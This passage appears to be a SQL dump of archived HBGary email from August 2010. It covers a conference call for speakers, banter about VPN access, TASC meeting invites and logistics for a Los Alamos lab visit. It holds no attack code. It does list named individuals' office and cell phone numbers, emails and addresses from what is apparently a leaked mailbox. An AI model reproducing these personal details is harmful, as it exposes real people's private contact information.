&lt;rich@hbgary.com&gt;Cc: \"Penny C. Hoglund\" &lt;penny@hbgary.com&gt;, \"Karen Burke\" &lt;karenmaryburke@yahoo.com&gt;Date: Friday, August 13, 2010, 12:29 PM\r\n\r\nThere is a call for speakers that closes Monday\r\n&nbsp;\r\nDid we want to participate?\r\n---------- Forwarded message ----------From: Don Berey &lt;GovSec@1105info.com&gt;Date: Fri, Aug 13, 2010 at 11:01 AMSubject: GovSec Call for Presentations Closes MondayTo: \"maria@hbgary.com\" &lt;maria@hbgary.com&gt;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAre you a homeland security or cybersecurity professional with a lesson to share?&nbsp; \r\n\r\n\r\n\r\n\r\n\r\n\r\n•GovSec, featuring GovCyber and U.S. Law, is the only government security event that combines physical security, cybersecurity and law enforcement to address the safety of our nation and its critical infrastructure. \r\nGovernment professionals are needed to deliver thought-provoking sessions in the conference program. Becoming a part of the conference faculty is a great way to earn industry recognition and training at no cost - speakers receive a complimentary conference pass to GovSec, valid all three days of the event.\r\nTrain your professional peers about today\'s most pressing government security&nbsp;threats.\r\nSessions should fit within one of the following tracks:\r\n\r\n\r\nCritical Infrastructure Protection: Critical infrastructure and key resources, in public and private sectors, must develop resiliency to various risks in order to continue operating safely and uninterrupted. This track examines the threats posed to our nation’s critical infrastructure and how to best secure these resources.\r\n\r\nAttacks and Emergencies: Preparedness, Prevention and Response: Whether natural or manmade, threats to our government, communities and citizens are ever present. Failure to maintain adequate levels of preparedness could have devastating effects in the wake of an emergency. This track presents training that develop skills to better identify and respond to various crises. \r\n\r\nProtecting from Advanced Persistent Threats (APT): APT is a growing cybersecurity threat targeting our critical U.S. infrastructure. Whether coming from foreign governments, organized crime or terrorist organizations, these cyber attacks are only going to increase in intensity.&nbsp;No single technology or process will stop these attacks; new approaches and increased vigilance are required. These sessions will provide the technologies and strategies to prevent, detect and react to this type of national security challenge. \r\nCybersecurity: Strategies and Best Practices: Protecting agencies and critical infrastructure from cyber attacks requires managing policies, technologies, resources and the implementation of security practices throughout an organization. &nbsp;These sessions will address how an agency can successfully protect against threats, the resources available within and outside government and the experience of your colleagues who have successfully addressed this top national and economic security priority.&nbsp;\r\n\r\n\r\n\r\nThe Call for Submissions closes on August 16. Click here to submit your proposal or topic recommendation! &nbsp;\r\n\r\n\r\n\r\n\r\n\r\nPlease do not reply to this email.For exhibitor and sponsor inquires, contact Don Berey.&nbsp;\r\n\r\nThis message has been sent to: maria@hbgary.com As an Gov Sec registrant we\'ll periodically send you information via e-mail about event registration. If you wish to discontinue receiving these types of e-mails, use our preference page: https://preference.1105pubs.com/pref/opt.jsp?e=maria@hbgary.com&amp;l=0&amp;p=707&amp;o=D20251 To view our privacy policy, visit: http://www.1105media.com/privacy.html The Government Information Group is a division of 1105 Media, 3141 Fairview Park Drive, Suite 777, Falls Church, VA 22042 We welcome your\r\n feedback: Event_info@1105govinfo.com  -- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401&nbsp; Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com &nbsp;&nbsp;\r\n\r\n      ',14979,'aaron_hbgary_com/14979.html'),(10366,'2010-08-16','\"Mark Trynor\" <mark@hbgary.com>','/aaron@hbgary.com/new/1297008081.M78548P14101Q5220.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: VPN and Website Access','you have VPN access.  You have .htaccess.  The u/p are in an email I\r\nsent you....twice.\r\n\r\nYou need to register to have an account on habgaryfederal.com then I can\r\npromote you to blogger status\r\n\r\nOn 08/16/2010 08:05 AM, Aaron Barr wrote:\r\n> Hey Mark,\r\n> \r\n> Can I get VPN and website access?\r\n> \r\n> Aaron\r\n',4829,'aaron_hbgary_com/4829.html'),(10367,'2010-08-16','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008081.M816313P14101Q5222.eml','\"Mark Trynor\" <mark@hbgary.com>','Re: VPN and Website Access','ok ok fine.  damn email FIFO, isn\'t there something better than that.\r\n\r\nAaron\r\n\r\nOn Aug 16, 2010, at 10:11 AM, Mark Trynor wrote:\r\n\r\n> you have VPN access.  You have .htaccess.  The u/p are in an email I\r\n> sent you....twice.\r\n> \r\n> You need to register to have an account on habgaryfederal.com then I can\r\n> promote you to blogger status\r\n> \r\n> On 08/16/2010 08:05 AM, Aaron Barr wrote:\r\n>> Hey Mark,\r\n>> \r\n>> Can I get VPN and website access?\r\n>> \r\n>> Aaron\r\n\r\n',4067,'aaron_hbgary_com/4067.html'),(10368,'2010-08-16','\"Mark Trynor\" <mark@hbgary.com>','/aaron@hbgary.com/new/1297008082.M156366P14101Q5223.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: VPN and Website Access','You could try remembering things. :)\r\n\r\nOn 08/16/2010 08:16 AM, Aaron Barr wrote:\r\n> ok ok fine.  damn email FIFO, isn\'t there something better than that.\r\n> \r\n> Aaron\r\n> \r\n> On Aug 16, 2010, at 10:11 AM, Mark Trynor wrote:\r\n> \r\n>> you have VPN access.  You have .htaccess.  The u/p are in an email I\r\n>> sent you....twice.\r\n>>\r\n>> You need to register to have an account on habgaryfederal.com then I can\r\n>> promote you to blogger status\r\n>>\r\n>> On 08/16/2010 08:05 AM, Aaron Barr wrote:\r\n>>> Hey Mark,\r\n>>>\r\n>>> Can I get VPN and website access?\r\n>>>\r\n>>> Aaron\r\n> \r\n',3013,'aaron_hbgary_com/3013.html'),(10369,'2010-08-16','\"Taylor, David A\" <dataylor@lanl.gov>','/aaron@hbgary.com/new/1297008083.M957345P14101Q5224.eml','\"Jerry McClure\" <Jerry.McClure@agilex.com>,ted@hbgary.com,\"Jerry McClure\" <Jerry.McClure@agilex.com>,ted@hbgary.com,,,,,,,','RE: HBGary & LANL Visit','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nJerry\r\n\r\n&nbsp;\r\n\r\nAttached is the form, Address,\r\ndirections, and contacts.\r\n\r\n&nbsp;\r\n\r\nFly into Albuquerque NM. It is\r\nalso possible to fly into Santa Fe, NM, which about 1 hour closer.\r\n\r\nFrom Albuquerque (ABQ), about\r\n2 hrs.:\r\n\r\nFrom ABQ Airport take Sunport\r\nto I-25\r\n\r\nGet on I-25 N to Santa Fe\r\n\r\nTurn North onto NM 599 Relief\r\nRoute to US 285\r\n\r\nTurn North on US 285 to Pojoaque,\r\nNM\r\n\r\nTurn Left onto NM&nbsp; 502 to\r\nLos Alamos, NM\r\n\r\n&nbsp;\r\n\r\nFrom Santa Fe, about 1 hour\r\n\r\nTake Airport Rd to NM 599\r\nRelief Route\r\n\r\nTurn Left onto NM 599 Relief\r\nRoute to US 285\r\n\r\nTurn North on US 285 to Pojoaque,\r\nNM\r\n\r\nTurn Left onto NM&nbsp; 502 to\r\nLos Alamos, NM\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nWork sites include (map blast\r\nworthy):\r\n\r\nShaw Building (this is where I\r\nsit)\r\n\r\n335 Central Park Square\r\n\r\nLos Alamos, NM 87544\r\n\r\n&nbsp;\r\n\r\nTRK (this is where testing\r\nwill be done)\r\n\r\n195 East Rd., Suite 103\r\n\r\nLos Alamos, NM 87544\r\n\r\n&nbsp;\r\n\r\nContacts:\r\n\r\nDavid Taylor (IT)\r\n\r\n505 667 6884 Office\r\n\r\n505 231 7489 Cell\r\n\r\n505 665 2502 Fax\r\n\r\n&nbsp;\r\n\r\nTom Tran (DBA)\r\n\r\n505 665 0734 Office\r\n\r\n&nbsp;\r\n\r\nJim Gore (Sys Admin)\r\n\r\n505 665 5850 Office\r\n\r\n&nbsp;\r\n\r\nShaw Office (IT Off)\r\n\r\nSuzie Trujillo\r\n\r\n505 655 3310\r\n\r\n&nbsp;\r\n\r\nTRK Office\r\n\r\nJoyce Vigil-Sandoval (DBA Off) 505\r\n655 1407\r\n\r\nGala Grimm-Fogle (Sys Admin Off)\r\n505 665 5779\r\n\r\n&nbsp;\r\n\r\nDavid Taylor\r\n\r\ndataylor@lanl.gov\r\n\r\n505-667-6884\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Jerry McClure\r\n[mailto:Jerry.McClure@agilex.com] \r\nSent: Sunday, August 15, 2010 7:54 AM\r\nTo: Taylor, David A; ted@hbgary.com\r\nCc: mark@hbgary.com; aaron@hbgary.com; Ira Entis; Trujillo, Susie G\r\nSubject: RE: HBGary &amp; LANL Visit\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nDavid - need you\r\nto send the form you mention below.&nbsp; Also can you send the hotel\r\ninformation, airport to fly into, and address of the facility they are to\r\nreport to on Monday 8/23 morning.&nbsp; I could not find this information that\r\nSree used.&nbsp; This way&nbsp;HbGary can make their reservations.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nTed - The start\r\ndate&nbsp;everyone is&nbsp;shooting for is Monday 8/23 which means your team\r\nflies in Sunday evening.&nbsp; Below is information your team needs to send\r\nto&nbsp;Susie (cced) and other information you&nbsp;should be aware\r\nof.&nbsp;&nbsp;David will send the form for the laptop and information requested\r\nabove.&nbsp; We felt it would be wise to have a telecom on Thursday 8/19 with\r\nLANL, your team, and myself to discuss last minute details.&nbsp; Right now we\r\nhave 3pm EST&nbsp;on Thursday 8/19 for the telecom.&nbsp; Let me know if this\r\nworks for you and I will set up a telecom number for everyone to dial\r\ninto.&nbsp; Let me know if there is anything else you need to make 8/23\r\nhappen.Thanks&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Taylor,\r\nDavid A [dataylor@lanl.gov]\r\nSent: Thursday, August 12, 2010 7:02 PM\r\nTo: Jerry McClure\r\nCc: Ira Entis; Trujillo, Susie G\r\nSubject: HBGary &amp; LANL Visit\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nJerry\r\n\r\n&nbsp;\r\n\r\nAttached is a form that each of\r\nthe HBGary guys will need to fill out to bring their laptops in to use to\r\ncollect notes.\r\n\r\nPlease note that the logic on the\r\n4 questions for &#8220;PED user must respond to the following statements&#8221;\r\nbelow name stuff is very backwards.\r\n\r\nA PED is the laptop.\r\n\r\nThey will need the make, model\r\nnumber, and serial number on the description of it.\r\n\r\nThey will need to sign it.\r\n\r\nWe will enter the location.\r\n\r\n&nbsp;\r\n\r\nFor badging:\r\n\r\nI will need name, Birthdates,\r\naddress, phone number and Social Security Number.\r\n\r\nThis can go directly to Suzie, she\r\nis CC&#8217;d.\r\n\r\nAs they are US citizens, they will\r\nonly need their driver lic. When they go to get badged.\r\n\r\n&nbsp;\r\n\r\nI will make set up a meeting time\r\nfor Thursday to conference call.\r\n\r\nI would like you to provide a\r\nconference call number, it would save me some trouble.\r\n\r\n&nbsp;\r\n\r\nYou should just use the info on\r\nlodging and directions we gave Shree.\r\n\r\nI am assuming they would arrive up\r\nhere on 8/23/10 at 8:00AM.\r\n\r\nThey should find me, and I will\r\nhelp them get badged and then take them over to TRK (where they will work).\r\n\r\nI can reached at my desk at that\r\ntime, but will have my cell on for them.\r\n\r\n&nbsp;\r\n\r\nThanks for your help.\r\n\r\n&nbsp;\r\n\r\nDavid Taylor\r\n\r\ndataylor@lanl.gov\r\n\r\n505-667-6884 Off\r\n\r\n505-231-7489 Cell\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',13438,'aaron_hbgary_com/13438.html'),(10370,'2010-08-16','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008084.M380680P14101Q5225.eml','\"Mark Trynor\" <mark@hbgary.com>','Re: VPN and Website Access','Thats not going to work...\r\n\r\nI have a wife that has been trying to get me to do that for 20 years...\r\n\r\nI just need a better method for driving me to information that I should have remembered.\r\n\r\nI have early onset selective Alzheimer\'s\r\n\r\n\r\nOn Aug 16, 2010, at 10:16 AM, Mark Trynor wrote:\r\n\r\n> You could try remembering things. :)\r\n> \r\n> On 08/16/2010 08:16 AM, Aaron Barr wrote:\r\n>> ok ok fine.  damn email FIFO, isn\'t there something better than that.\r\n>> \r\n>> Aaron\r\n>> \r\n>> On Aug 16, 2010, at 10:11 AM, Mark Trynor wrote:\r\n>> \r\n>>> you have VPN access.  You have .htaccess.  The u/p are in an email I\r\n>>> sent you....twice.\r\n>>> \r\n>>> You need to register to have an account on habgaryfederal.com then I can\r\n>>> promote you to blogger status\r\n>>> \r\n>>> On 08/16/2010 08:05 AM, Aaron Barr wrote:\r\n>>>> Hey Mark,\r\n>>>> \r\n>>>> Can I get VPN and website access?\r\n>>>> \r\n>>>> Aaron\r\n>> \r\n\r\n',11193,'aaron_hbgary_com/11193.html'),(10371,'2010-08-16','\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>','/aaron@hbgary.com/new/1297008084.M641747P14101Q5226.eml','\"League, Al (TASC)\" <Al.League@TASC.COM>,\"Heider, Raymond A (TASC)\" <raymond.heider@TASC.COM>,\"Aaron Barr\" <aaron@hbgary.com>,tjriesen@archimedesglobal.com','Google Enterprise Partner - Thermopylae','\r\n\r\n\r\n\r\n\r\nGoogle Enterprise Partner - Thermopylae\r\n\r\n\r\n\r\n\r\nWhen: Tuesday, August 17, 2010 10:00 AM-11:00 AM (GMT-05:00) Eastern Time (US &amp; Canada).\r\n\r\nWhere: WF 2, 1A\r\n\r\nNote: The GMT offset above does not reflect daylight saving time adjustments.\r\n\r\n*~*~*~*~*~*~*~*~*~*\r\n\r\nAgenda\r\n\r\n1.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Introduction of TASC\r\n\r\n2.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Introduction of Thermopylae\r\n\r\n3.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Discussion of Thermopylae capabilities\r\n\r\n4.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Product demos\r\n\r\n5.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Next steps\r\n\r\n6.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Questions and Answers\r\n\r\n\r\n\r\nPlease forward this to others who may be interested.\r\n\r\nHere is a website link http://www.t-sciences.com/.\r\n\r\nFrom their website:\r\n\r\nThermopylae Sciences and Technology (TST) is a small, woman-owned business that focuses on excellence in all we do for our government and private sector customer base. We particularly excel in software development, cyber security, geospatial application solutions, personnel and infrastructure protective solutions, cloud/grid computing in cleared environments, and Event-Driven-Architecture development.\r\n\r\nTST is a different type of company. We reward innovation and strive to bring emerging technologies to our customers in ways that can enhance organization performance and further their missions. We combine industry experts in information technology and pair them with team members that are subject matter experts on our customer\'s key problem sets. The result: cutting-edge solutions that are tailored directly to our customer needs.\r\n\r\n\r\n\r\nThanks,\r\n      Chris Clair\r\n__________________________________________________\r\n&nbsp; \r\n |Chris Clair | Program Manager | 703.449.3964 \r\n\r\n\r\n',1967,'aaron_hbgary_com/1967.html'),(10372,'2010-08-16','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008084.M915755P14101Q5227.eml','\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>','Re: Google Enterprise Partner - Thermopylae','Who are they and what do they do? &nbsp;Is this for the COIN/ROMAS stuff?AaronOn Aug 16, 2010, at 11:06 AM, Clair, Chris (TASC) wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWhen: Tuesday, August 17, 2010 10:00 AM-11:00 AM (GMT-05:00) Eastern Time (US &amp; Canada).Where: WF 2, 1ANote: The GMT offset above does not reflect daylight saving time adjustments.*~*~*~*~*~*~*~*~*~*Agenda1.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Introduction of TASC2.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Introduction of Thermopylae3.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Discussion of Thermopylae capabilities4.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Product demos5.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Next steps6.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Questions and AnswersPlease forward this to others who may be interested.Here is a website link http://www.t-sciences.com/.From their website:Thermopylae Sciences and Technology (TST) is a small, woman-owned business that focuses on excellence in all we do for our government and private sector customer base. We particularly excel in software development, cyber security, geospatial application solutions, personnel and infrastructure protective solutions, cloud/grid computing in cleared environments, and Event-Driven-Architecture development.TST is a different type of company. We reward innovation and strive to bring emerging technologies to our customers in ways that can enhance organization performance and further their missions. We combine industry experts in information technology and pair them with team members that are subject matter experts on our customer\'s key problem sets. The result: cutting-edge solutions that are tailored directly to our customer needs.Thanks,\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Chris Clair\r\n__________________________________________________\r\n&nbsp; \r\n |Chris Clair | Program Manager | 703.449.3964 \r\n\r\n\r\n&lt;meeting.ics&gt;&lt;ole0.bmp&gt;',2529,'aaron_hbgary_com/2529.html'),(10373,'2010-08-16','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008085.M155697P14101Q5228.eml','\"Maria Lucas\" <maria@hbgary.com>','Very sorry for late notice','Penny and I have a meeting with the executive leadership of Mantech on Thursday from 1:30 - 3pm.  Do you want me to show up in the morning or just skip it?\r\n\r\nAaron',9973,'aaron_hbgary_com/9973.html'),(10374,'2010-08-16','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297008085.M685815P14101Q5229.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Very sorry for late notice','? what was Thursday?\r\nOn Mon, Aug 16, 2010 at 8:14 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nPenny and I have a meeting with the executive leadership of Mantech on Thursday from 1:30 - 3pm.  Do you want me to show up in the morning or just skip it?\r\nAaron-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\nemail: maria@hbgary.com   \r\n',16574,'aaron_hbgary_com/16574.html'),(10375,'2010-08-16','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008085.M904757P14101Q5230.eml','\"Maria Lucas\" <maria@hbgary.com>','Re: Very sorry for late notice','EOPOn Aug 16, 2010, at 11:16 AM, Maria Lucas wrote:? what was Thursday?\r\nOn Mon, Aug 16, 2010 at 8:14 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nPenny and I have a meeting with the executive leadership of Mantech on Thursday from 1:30 - 3pm. &nbsp;Do you want me to show up in the morning or just skip it?\r\nAaron-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401&nbsp; Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\nemail: maria@hbgary.com &nbsp;&nbsp;\r\n',3318,'aaron_hbgary_com/3318.html'),(10376,'2010-08-16','\"Mark Trynor\" <mark@hbgary.com>','/aaron@hbgary.com/new/1297008086.M108071P14101Q5231.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: VPN and Website Access','perhaps an electronic moleskine that triggers on keywordsOn Mon, Aug 16, 2010 at 8:28 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nThats not going to work...\r\n\r\nI have a wife that has been trying to get me to do that for 20 years...\r\n\r\nI just need a better method for driving me to information that I should have remembered.\r\n\r\nI have early onset selective Alzheimer&#39;s\r\n\r\n\r\nOn Aug 16, 2010, at 10:16 AM, Mark Trynor wrote:\r\n\r\n&gt; You could try remembering things. :)\r\n&gt;\r\n&gt; On 08/16/2010 08:16 AM, Aaron Barr wrote:\r\n&gt;&gt; ok ok fine.  damn email FIFO, isn&#39;t there something better than that.\r\n&gt;&gt;\r\n&gt;&gt; Aaron\r\n&gt;&gt;\r\n&gt;&gt; On Aug 16, 2010, at 10:11 AM, Mark Trynor wrote:\r\n&gt;&gt;\r\n&gt;&gt;&gt; you have VPN access.  You have .htaccess.  The u/p are in an email I\r\n&gt;&gt;&gt; sent you....twice.\r\n&gt;&gt;&gt;\r\n&gt;&gt;&gt; You need to register to have an account on habgaryfederal.com then I can\r\n&gt;&gt;&gt; promote you to blogger status\r\n&gt;&gt;&gt;\r\n&gt;&gt;&gt; On 08/16/2010 08:05 AM, Aaron Barr wrote:\r\n&gt;&gt;&gt;&gt; Hey Mark,\r\n&gt;&gt;&gt;&gt;\r\n&gt;&gt;&gt;&gt; Can I get VPN and website access?\r\n&gt;&gt;&gt;&gt;\r\n&gt;&gt;&gt;&gt; Aaron\r\n&gt;&gt;\r\n\r\n\r\n',3272,'aaron_hbgary_com/3272.html'),(10377,'2010-08-16','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008086.M685645P14101Q5232.eml','\"Mark Trynor\" <mark@hbgary.com>','Re: VPN and Website Access','Some day I will graduate to the level of needing an assistant.Then my life will be complete.Its like having a human moleskin...that sounds kinda icky doesn\'t it.On Aug 16, 2010, at 11:19 AM, Mark Trynor wrote:perhaps an electronic moleskine that triggers on keywordsOn Mon, Aug 16, 2010 at 8:28 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nThats not going to work...\r\n\r\nI have a wife that has been trying to get me to do that for 20 years...\r\n\r\nI just need a better method for driving me to information that I should have remembered.\r\n\r\nI have early onset selective Alzheimer\'s\r\n\r\n\r\nOn Aug 16, 2010, at 10:16 AM, Mark Trynor wrote:\r\n\r\n&gt; You could try remembering things. :)\r\n&gt;\r\n&gt; On 08/16/2010 08:16 AM, Aaron Barr wrote:\r\n&gt;&gt; ok ok fine. &nbsp;damn email FIFO, isn\'t there something better than that.\r\n&gt;&gt;\r\n&gt;&gt; Aaron\r\n&gt;&gt;\r\n&gt;&gt; On Aug 16, 2010, at 10:11 AM, Mark Trynor wrote:\r\n&gt;&gt;\r\n&gt;&gt;&gt; you have VPN access. &nbsp;You have .htaccess. &nbsp;The u/p are in an email I\r\n&gt;&gt;&gt; sent you....twice.\r\n&gt;&gt;&gt;\r\n&gt;&gt;&gt; You need to register to have an account on habgaryfederal.com then I can\r\n&gt;&gt;&gt; promote you to blogger status\r\n&gt;&gt;&gt;\r\n&gt;&gt;&gt; On 08/16/2010 08:05 AM, Aaron Barr wrote:\r\n&gt;&gt;&gt;&gt; Hey Mark,\r\n&gt;&gt;&gt;&gt;\r\n&gt;&gt;&gt;&gt; Can I get VPN and website access?\r\n&gt;&gt;&gt;&gt;\r\n&gt;&gt;&gt;&gt; Aaron\r\n&gt;&gt;\r\n\r\n\r\n',9292,'aaron_hbgary_com/9292.html'),(10378,'2010-08-16','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297008086.M999358P14101Q5233.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Very sorry for late notice','Rich is managing the POC. Did you want to attend in the morning?  Up to you...\r\nOn Mon, Aug 16, 2010 at 8:16 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\nEOP \r\n\r\n\r\n\r\n\r\n\r\nOn Aug 16, 2010, at 11:16 AM, Maria Lucas wrote:\r\n? what was Thursday?\r\nOn Mon, Aug 16, 2010 at 8:14 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nPenny and I have a meeting with the executive leadership of Mantech on Thursday from 1:30 - 3pm.  Do you want me to show up in the morning or just skip it?\r\nAaron-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\nemail: maria@hbgary.com   -- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.\r\nCell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com   \r\n',7580,'aaron_hbgary_com/7580.html'),(10379,'2010-08-16','\"Mark Trynor\" <mark@hbgary.com>','/aaron@hbgary.com/new/1297008087.M404985P14101Q5234.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: VPN and Website Access','kinda silence of the lambs &quot;IT PUTS THE LOTION ON ITS MOLESKINE OR IT GETS THE HOSE AGAIN!!!&quot;On Mon, Aug 16, 2010 at 9:20 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nSome day I will graduate to the level of needing an assistant.\r\nThen my life will be complete.Its like having a human moleskin...that sounds kinda icky doesn&#39;t it.\r\nOn Aug 16, 2010, at 11:19 AM, Mark Trynor wrote:perhaps an electronic moleskine that triggers on keywordsOn Mon, Aug 16, 2010 at 8:28 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\nThats not going to work...\r\n\r\nI have a wife that has been trying to get me to do that for 20 years...\r\n\r\nI just need a better method for driving me to information that I should have remembered.\r\n\r\nI have early onset selective Alzheimer&#39;s\r\n\r\n\r\nOn Aug 16, 2010, at 10:16 AM, Mark Trynor wrote:\r\n\r\n&gt; You could try remembering things. :)\r\n&gt;\r\n&gt; On 08/16/2010 08:16 AM, Aaron Barr wrote:\r\n&gt;&gt; ok ok fine.  damn email FIFO, isn&#39;t there something better than that.\r\n&gt;&gt;\r\n&gt;&gt; Aaron\r\n&gt;&gt;\r\n&gt;&gt; On Aug 16, 2010, at 10:11 AM, Mark Trynor wrote:\r\n&gt;&gt;\r\n&gt;&gt;&gt; you have VPN access.  You have .htaccess.  The u/p are in an email I\r\n&gt;&gt;&gt; sent you....twice.\r\n&gt;&gt;&gt;\r\n&gt;&gt;&gt; You need to register to have an account on habgaryfederal.com then I can\r\n&gt;&gt;&gt; promote you to blogger status\r\n&gt;&gt;&gt;\r\n&gt;&gt;&gt; On 08/16/2010 08:05 AM, Aaron Barr wrote:\r\n&gt;&gt;&gt;&gt; Hey Mark,\r\n&gt;&gt;&gt;&gt;\r\n&gt;&gt;&gt;&gt; Can I get VPN and website access?\r\n&gt;&gt;&gt;&gt;\r\n&gt;&gt;&gt;&gt; Aaron\r\n&gt;&gt;\r\n\r\n\r\n\r\n',5566,'aaron_hbgary_com/5566.html'),(10380,'2010-08-16','\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>','/aaron@hbgary.com/new/1297008087.M712632P14101Q5235.eml','\"Brunst Jr, Gerald R (TASC)\" <GERALD.BRUNSTJR@tasc.com>,\"Newbern, David W (TASC)\" <DAVID.NEWBERN@tasc.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Tim Riesen\" <tjriesen@archimedesglobal.com>,\"Lovegrove, John (TASC)\" <John.Lovegrove@tasc.com>,\"Garcia, Kathy (TASC)\" <KATHERINE.GARCIA@tasc.com>,\"Heider, Raymond A (TASC)\" <raymond.heider@TASC.COM>','ROMAS (COIN) Update','\r\n\r\n\r\n\r\n\r\nROMAS (COIN) Update\r\n\r\n\r\n\r\n\r\nWhen: Tuesday, August 17, 2010 12:00 PM-1:00 PM (GMT-05:00) Eastern Time (US &amp; Canada).\r\n\r\nWhere: WF3, 3D\r\n\r\nNote: The GMT offset above does not reflect daylight saving time adjustments.\r\n\r\n*~*~*~*~*~*~*~*~*~*\r\n\r\nWe need to get together and make sure we are ready for the RFP due out before the end of the month.&nbsp; I&#8217;ll provide lunch from Willard&#8217;s.\r\n\r\nThanks,\r\n\r\nChris \r\n\r\n\r\n',13647,'aaron_hbgary_com/13647.html'),(10381,'2010-08-16','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008088.M771648P14101Q5236.eml','\"Mark Trynor\" <mark@hbgary.com>','Re: VPN and Website Access','ROTFLMAO.On Aug 16, 2010, at 11:25 AM, Mark Trynor wrote:kinda silence of the lambs \"IT PUTS THE LOTION ON ITS MOLESKINE OR IT GETS THE HOSE AGAIN!!!\"On Mon, Aug 16, 2010 at 9:20 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nSome day I will graduate to the level of needing an assistant.\r\nThen my life will be complete.Its like having a human moleskin...that sounds kinda icky doesn\'t it.\r\nOn Aug 16, 2010, at 11:19 AM, Mark Trynor wrote:perhaps an electronic moleskine that triggers on keywordsOn Mon, Aug 16, 2010 at 8:28 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\nThats not going to work...\r\n\r\nI have a wife that has been trying to get me to do that for 20 years...\r\n\r\nI just need a better method for driving me to information that I should have remembered.\r\n\r\nI have early onset selective Alzheimer\'s\r\n\r\n\r\nOn Aug 16, 2010, at 10:16 AM, Mark Trynor wrote:\r\n\r\n&gt; You could try remembering things. :)\r\n&gt;\r\n&gt; On 08/16/2010 08:16 AM, Aaron Barr wrote:\r\n&gt;&gt; ok ok fine. &nbsp;damn email FIFO, isn\'t there something better than that.\r\n&gt;&gt;\r\n&gt;&gt; Aaron\r\n&gt;&gt;\r\n&gt;&gt; On Aug 16, 2010, at 10:11 AM, Mark Trynor wrote:\r\n&gt;&gt;\r\n&gt;&gt;&gt; you have VPN access. &nbsp;You have .htaccess. &nbsp;The u/p are in an email I\r\n&gt;&gt;&gt; sent you....twice.\r\n&gt;&gt;&gt;\r\n&gt;&gt;&gt; You need to register to have an account on habgaryfederal.com then I can\r\n&gt;&gt;&gt; promote you to blogger status\r\n&gt;&gt;&gt;\r\n&gt;&gt;&gt; On 08/16/2010 08:05 AM, Aaron Barr wrote:\r\n&gt;&gt;&gt;&gt; Hey 